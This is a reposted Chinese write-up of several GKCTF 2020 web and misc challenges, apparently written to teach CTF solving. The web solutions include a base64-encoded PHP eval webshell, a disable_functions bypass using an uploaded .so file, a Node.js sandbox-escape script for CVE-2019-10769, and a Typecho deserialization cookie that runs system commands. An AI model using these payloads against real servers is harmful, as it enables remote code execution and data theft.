GKCTF部分题解

2023-12-11 02:20
文章标签 部分 题解 gkctf

本文主要是介绍GKCTF部分题解,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

题解目录

      • web
        • ChickIN
        • 老八小超市儿
        • CVE版签到
        • EZ三剑客-EZweb
        • EZ三剑客-ezNode
        • EZ三剑客-ezTypecho
      • MISC
        • Pokémon
        • code obfuscation

web

ChickIN

代码审计

<?php 
highlight_file(__FILE__);
class ClassName
{public $code = null;public $decode = null;function __construct(){$this->code = @$this->x()['Ginkgo'];$this->decode = @base64_decode( $this->code );@Eval($this->decode);}public function x(){return $_REQUEST;}
}
new ClassName();

可以看出只要传参Ginkgo就可以执行代码。
看看disable_fuctions
在这里插入图片描述
发现大部分系统命令执行都被ban了,也就是说无法getshell。
于是我们再写个小马,传入到Ginkgo上,看看能不能用蚁剑连上去(本来可以修改编码后直接连的,但我没有成功,就干脆整了个小马)
Ginkgo=QGV2YWwoJF9QT1NUWydhJ10pOw==&a=phpinfo();
测试后发现可行,于是用蚁剑连上。
在这里插入图片描述
flag无法读取。
看见根目录下有个readflag,应该是要我们想办法运行readflag。
这个其实和去年geek的RCE_ME很类似,需要我们利用.so文件劫持系统函数,绕过disable_functions。
原理如这篇文章所示
具体做法如下:
我们将这里的bypass.php和github上的bypass_disablefunc_x64.so文件一起上传至/tmp文件目录下,传参

Ginkgo=QGV2YWwoJF9QT1NUWydhJ10pOw==&a=include("/tmp/bypass.php");&cmd=../../../../readflag&outpath=/tmp/123.txt&sopath=/tmp/bypass_disablefunc_x64.so

即可得到flag.

老八小超市儿

一开始是很艰难的,直到工作室的师傅找到了这样一篇文章然后就可以直接上蚁剑了。
在根目录下看到flag文件内容:flag{this_is_fake_flag/true_flag_in_/root}
发现权限不够,又发现有个auto.sh的文件,内容如下:

#!/bin/sh
while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done

这个auto.sh文件应该是root权限,我们权限不够,无法编辑。
于是我们找到makeflaghint.py文件内容如下:

import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
f.write(str(gk1))
f.write(str(gk))
f.close()

修改一下,利用os.listdir()来读去root目录,然后再读取flag内容即可得到flag。值得注意的是,根据auto.sh可以知道我们是每60s运行一次py文件,所以最好先在本地跑一跑,不然一次一次试会很麻烦。

CVE版签到

题目提示了CVE-2020-7066
进去点击之后如下:
在这里插入图片描述
抓包后得到hint:
在这里插入图片描述
于是用该cve得到下面的画面
在这里插入图片描述
记得一定要对\0进行URL编码
看到tips,得到payload:?url=http://127.0.0.123%00www.ctfhub.com即可得到flag。

EZ三剑客-EZweb

点进去,F12看到提示:

eth0      Link encap:Ethernet  HWaddr 02:42:ad:62:04:0a  inet addr:173.98.4.10  Bcast:173.98.4.255  Mask:255.255.255.0UP BROADCAST RUNNING MULTICAST  MTU:1450  Metric:1RX packets:93 errors:0 dropped:0 overruns:0 frame:0TX packets:116 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:0 RX bytes:16125 (16.1 KB)  TX bytes:18113 (18.1 KB)lo        Link encap:Local Loopback  inet addr:127.0.0.1  Mask:255.0.0.0UP LOOPBACK RUNNING  MTU:65536  Metric:1RX packets:24 errors:0 dropped:0 overruns:0 frame:0TX packets:24 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:1000 RX bytes:1376 (1.3 KB)  TX bytes:1376 (1.3 KB)

试试173.98.4.11,发现刚好在这个机子上:
在这里插入图片描述
然后是猜测端口,猜测6379端口(redis)或3306端口(mysql)。发现是6379端口。
在这里插入图片描述
现在我们打断一下,先了解一下gopher协议。
在这里插入图片描述
再看看一个我找来的gopher协议包的内容:

gopher://127.0.0.1:80/_POST /index.php?action=login HTTP/1.1
Host:127.0.0.1:1000
Cookie:PHPSESSID=1f546328759632456215236845122365;
Connection:close
Content-Type:application/x-www-form-urlencoded
Content-Length:null
Transfer-Encoding:chunked

可以看到,它和http协议十分相似,但要注意的是,回车换行需要使用%0d%0a,参数之间的分隔符也用URL编码。
接下来参照这篇文章的方法即可得到payload。

EZ三剑客-ezNode

这题关于一个CVE:CVE-2019-10769,用这个payload打就可以了

#GKCTF2020 web eznode
import requests
print(requests.post('http://17ad6e6c-33bf-4ef0-b192-60125e64e7dd.node3.buuoj.cn/eval?delay=2147483650', data={
'e': """(function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("cat /flag").toString()})()"""}).text)
EZ三剑客-ezTypecho

这题主要的考点有两个,一个是在install.php的230行
在这里插入图片描述
因为没有session_start(),所以我们要用下面这种方法进行绕过
在这里插入图片描述
另一个就在下一行的unserialize(),这个直接搜索Typecho反序列化就可以找到一大堆poc。
然后写个py脚本发包就行了:

#GKCTF2020 web EZTypecho
import requestsurl = "http://be21639b-30a2-477c-a833-35ead714351f.node3.buuoj.cn/install.php?finish=1"
files={'file':"123"}
headers = {'cookie':'PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mzp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIyOiIAVHlwZWNob19GZWVkAF9jaGFyc2V0IjtOO3M6MjA6IgBUeXBlY2hvX0ZlZWQAX2l0ZW1zIjthOjE6e2k6MDthOjU6e3M6NDoibGluayI7czoxOiIxIjtzOjU6InRpdGxlIjtzOjE6IjIiO3M6NDoiZGF0ZSI7aToxNTA3NzIwMjk4O3M6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6ImNhdCAvZmxhZyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJzeXN0ZW0iO319czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fX1zOjY6InByZWZpeCI7czozOiJRQVEiO30=','Referer':'http://be21639b-30a2-477c-a833-35ead714351f.node3.buuoj.cn/install.php'}
re =requests.post(url,files=files,headers=headers,data={'PHP_SESSION_UPLOAD_PROGRESS':'1233456'})
print(re.text)

MISC

Pokémon

根据提示,在游戏中前往108号大道,树的样子就是flag。

code obfuscation

分离出一个加密过的rar文件,有加密,先放一放。
打开图片,发现是一个二维码,但歪了,我们在ps里,用Ctrl+T将它矫正,然后用在图像->调整->色阶中把左边的色阶拉满,效果如图:
在这里插入图片描述
扫出来是base(gkctf)。
也就是说压缩包密码是经过base编码的gkctf,在测试了所有的base编码之后,发现是base58编码。
base58在线解密网站:http://www.metools.info/code/c74.html
打开压缩包后发现两个文件。
打开文件1,发现一长串经过js压缩加密混淆的代码,通过在线解密后,得到下面的代码:

for n in a b c d e f g h i j k l m n o p q r s t u v w x y z 
do 
eval An="n"
done 
for n in A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 
do 
eval An="n"
done 
num=0 
for n in a b c d e f g h i j 
do 
eval Bn="n"num=$((num+1))
done 
alert("Bk='';Bm='"';Bn='#';Bs='(';Bt=')';By='.';Cb=';';Cc='<';Ce='>';Cl='_';Cn='{';Cp='}';Da='0';Db='1';Dc='2';Dd='3';De='4';Df='5';Dg='6';Dh='7';Di='8';Dj='9';")

看看flag3.png
在这里插入图片描述
解密后得到flag。

这篇关于GKCTF部分题解的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/479116

相关文章

一文详解如何在Python中从字符串中提取部分内容

《一文详解如何在Python中从字符串中提取部分内容》:本文主要介绍如何在Python中从字符串中提取部分内容的相关资料,包括使用正则表达式、Pyparsing库、AST(抽象语法树)、字符串操作... 目录前言解决方案方法一:使用正则表达式方法二:使用 Pyparsing方法三:使用 AST方法四:使用字

Mysql删除几亿条数据表中的部分数据的方法实现

《Mysql删除几亿条数据表中的部分数据的方法实现》在MySQL中删除一个大表中的数据时,需要特别注意操作的性能和对系统的影响,本文主要介绍了Mysql删除几亿条数据表中的部分数据的方法实现,具有一定... 目录1、需求2、方案1. 使用 DELETE 语句分批删除2. 使用 INPLACE ALTER T

poj 2976 分数规划二分贪心(部分对总体的贡献度) poj 3111

poj 2976: 题意: 在n场考试中,每场考试共有b题,答对的题目有a题。 允许去掉k场考试,求能达到的最高正确率是多少。 解析: 假设已知准确率为x,则每场考试对于准确率的贡献值为: a - b * x,将贡献值大的排序排在前面舍弃掉后k个。 然后二分x就行了。 代码: #include <iostream>#include <cstdio>#incl

C++ | Leetcode C++题解之第393题UTF-8编码验证

题目: 题解: class Solution {public:static const int MASK1 = 1 << 7;static const int MASK2 = (1 << 7) + (1 << 6);bool isValid(int num) {return (num & MASK2) == MASK1;}int getBytes(int num) {if ((num &

C语言 | Leetcode C语言题解之第393题UTF-8编码验证

题目: 题解: static const int MASK1 = 1 << 7;static const int MASK2 = (1 << 7) + (1 << 6);bool isValid(int num) {return (num & MASK2) == MASK1;}int getBytes(int num) {if ((num & MASK1) == 0) {return

C - Word Ladder题解

C - Word Ladder 题解 解题思路: 先输入两个字符串S 和t 然后在S和T中寻找有多少个字符不同的个数(也就是需要变换多少次) 开始替换时: tips: 字符串下标以0开始 我们定义两个变量a和b,用于记录当前遍历到的字符 首先是判断:如果这时a已经==b了,那么就跳过,不用管; 如果a大于b的话:那么我们就让s中的第i项替换成b,接着就直接输出S就行了。 这样

笔记整理—内核!启动!—kernel部分(2)从汇编阶段到start_kernel

kernel起始与ENTRY(stext),和uboot一样,都是从汇编阶段开始的,因为对于kernel而言,还没进行栈的维护,所以无法使用c语言。_HEAD定义了后面代码属于段名为.head .text的段。         内核起始部分代码被解压代码调用,前面关于uboot的文章中有提到过(eg:zImage)。uboot启动是无条件的,只要代码的位置对,上电就工作,kern

【秋招笔试】9.07米哈游秋招改编题-三语言题解

🍭 大家好这里是 春秋招笔试突围,一起备战大厂笔试 💻 ACM金牌团队🏅️ | 多次AK大厂笔试 | 大厂实习经历 ✨ 本系列打算持续跟新 春秋招笔试题 👏 感谢大家的订阅➕ 和 喜欢💗 和 手里的小花花🌸 ✨ 笔试合集传送们 -> 🧷春秋招笔试合集 🍒 本专栏已收集 100+ 套笔试题,笔试真题 会在第一时间跟新 🍄 题面描述等均已改编,如果和你笔试题看到的题面描述

LeetCode 第414场周赛个人题解

目录 Q1. 将日期转换为二进制表示 原题链接 思路分析 AC代码 Q2. 范围内整数的最大得分 原题链接 思路分析 AC代码 Q3. 到达数组末尾的最大得分 原题链接 思路分析 AC代码 Q4. 吃掉所有兵需要的最多移动次数 原题链接 思路分析 AC代码 Q1. 将日期转换为二进制表示 原题链接 Q1. 将日期转换为二进制表示 思路分析

项目实战系列三: 家居购项目 第四部分

购物车 🌳购物车🍆显示购物车🍆更改商品数量🍆清空购物车&&删除商品 🌳生成订单 🌳购物车 需求分析 1.会员登陆后, 可以添加家居到购物车 2.完成购物车的设计和实现 3.每添加一个家居,购物车的数量+1, 并显示 程序框架图 1.新建src/com/zzw/furns/entity/CartItem.java, CartItem-家居项模型 /***